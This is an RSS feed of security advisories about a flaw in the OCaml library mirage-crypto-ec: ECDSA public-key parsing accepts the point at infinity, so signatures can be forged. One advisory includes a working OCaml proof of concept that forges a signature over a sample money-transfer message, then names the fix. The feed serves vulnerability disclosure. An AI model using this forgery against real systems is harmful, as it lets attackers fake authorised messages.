<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 00:54:44 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-365533</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-365533</link>
      <description>EUVD-2026-365533</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-365533</guid>
    </item>
    <item>
      <title>fkie_cve-2026-87733</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-87733</link>
      <description>&lt;p&gt;An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-87733</guid>
    </item>
    <item>
      <title>GHSA-5v5p-5xxr-9xf8</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-5v5p-5xxr-9xf8</link>
      <description>&lt;p&gt;An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-5v5p-5xxr-9xf8</guid>
    </item>
    <item>
      <title>OSEC-2026-13 — ECDSA accepts the point at infinity as a P256, P384, P521 public key</title>
      <link>https://cve.radiocsirt.org/vuln/osec-2026-13</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-ec&lt;/p&gt;
&lt;p&gt;`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.&lt;/p&gt;
&lt;p&gt;The same class is treated as high severity elsewhere. CVE-2022-21449 (&amp;#34;Psychic Signatures&amp;#34;, OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 (&amp;#34;CurveBall&amp;#34;, Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.&lt;/p&gt;
&lt;p&gt;## Solution&lt;/p&gt;
&lt;p&gt;Check for point at infinity in `pub_of_octets`.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```OCaml
module Dsa = Mirage_crypto_ec.P256.Dsa&lt;/p&gt;
&lt;p&gt;(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for
   any message with no private key. *)
let () =
  Mirage_crypto_rng.(set_default_generator (create ~seed:&amp;#34;forge&amp;#34; (module Fortuna)));
  let o_key = Result.get_ok (Dsa.pub_of_octets &amp;#34;\x00&amp;#34;) in
  let z = Digestif.SHA256.(to_raw_string (digest_string &amp;#34;transfer 1000eur to mallory&amp;#34;)) in
  let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in
  let s = String.make 31 &amp;#39;\000&amp;#39; ^ &amp;#34;\001&amp;#34; in
  Printf.printf &amp;#34;0x00 accepted as a public key:    %b\n&amp;#34; (Result.is_ok (Dsa.pub_of_octets &amp;#34;\x00&amp;#34;));
  Printf.printf &amp;#34;forged (r, s=1) verifies under O:  %b\n&amp;#34; (Dsa.verify ~key:o_key (r, s) z)
```&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- June 25th 2026: report to ocaml/security-advisories
- June…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; opam: mirage-crypto-ec&lt;/p&gt;
&lt;p&gt;`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.&lt;/p&gt;
&lt;p&gt;The same class is treated as high severity elsewhere. CVE-2022-21449 (&amp;#34;Psychic Signatures&amp;#34;, OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 (&amp;#34;CurveBall&amp;#34;, Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.&lt;/p&gt;
&lt;p&gt;## Solution&lt;/p&gt;
&lt;p&gt;Check for point at infinity in `pub_of_octets`.&lt;/p&gt;
&lt;p&gt;## Reproduction&lt;/p&gt;
&lt;p&gt;```OCaml
module Dsa = Mirage_crypto_ec.P256.Dsa&lt;/p&gt;
&lt;p&gt;(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for
   any message with no private key. *)
let () =
  Mirage_crypto_rng.(set_default_generator (create ~seed:&amp;#34;forge&amp;#34; (module Fortuna)));
  let o_key = Result.get_ok (Dsa.pub_of_octets &amp;#34;\x00&amp;#34;) in
  let z = Digestif.SHA256.(to_raw_string (digest_string &amp;#34;transfer 1000eur to mallory&amp;#34;)) in
  let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in
  let s = String.make 31 &amp;#39;\000&amp;#39; ^ &amp;#34;\001&amp;#34; in
  Printf.printf &amp;#34;0x00 accepted as a public key:    %b\n&amp;#34; (Result.is_ok (Dsa.pub_of_octets &amp;#34;\x00&amp;#34;));
  Printf.printf &amp;#34;forged (r, s=1) verifies under O:  %b\n&amp;#34; (Dsa.verify ~key:o_key (r, s) z)
```&lt;/p&gt;
&lt;p&gt;## Timeline&lt;/p&gt;
&lt;p&gt;- June 25th 2026: report to ocaml/security-advisories
- June…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/osec-2026-13</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2026-87733</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-87733</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:22.04:LTS: ocaml-mirage-crypto, Ubuntu:24.04:LTS: ocaml-mirage-crypto, Ubuntu:26.04:LTS: ocaml-mirage-crypto&lt;/p&gt;
&lt;p&gt;An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:22.04:LTS: ocaml-mirage-crypto, Ubuntu:24.04:LTS: ocaml-mirage-crypto, Ubuntu:26.04:LTS: ocaml-mirage-crypto&lt;/p&gt;
&lt;p&gt;An issue was discovered in the mirage-crypto-ec function before 2.2.0 for OCaml. The ECDSA functions {P256,P384,P521}.Dsa.pub_of_octets accept 0x00, the encoding of the point at infinity, as a public key. With that public key, signatures can be forged without a private key.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-87733</guid>
    </item>
  </channel>
</rss>
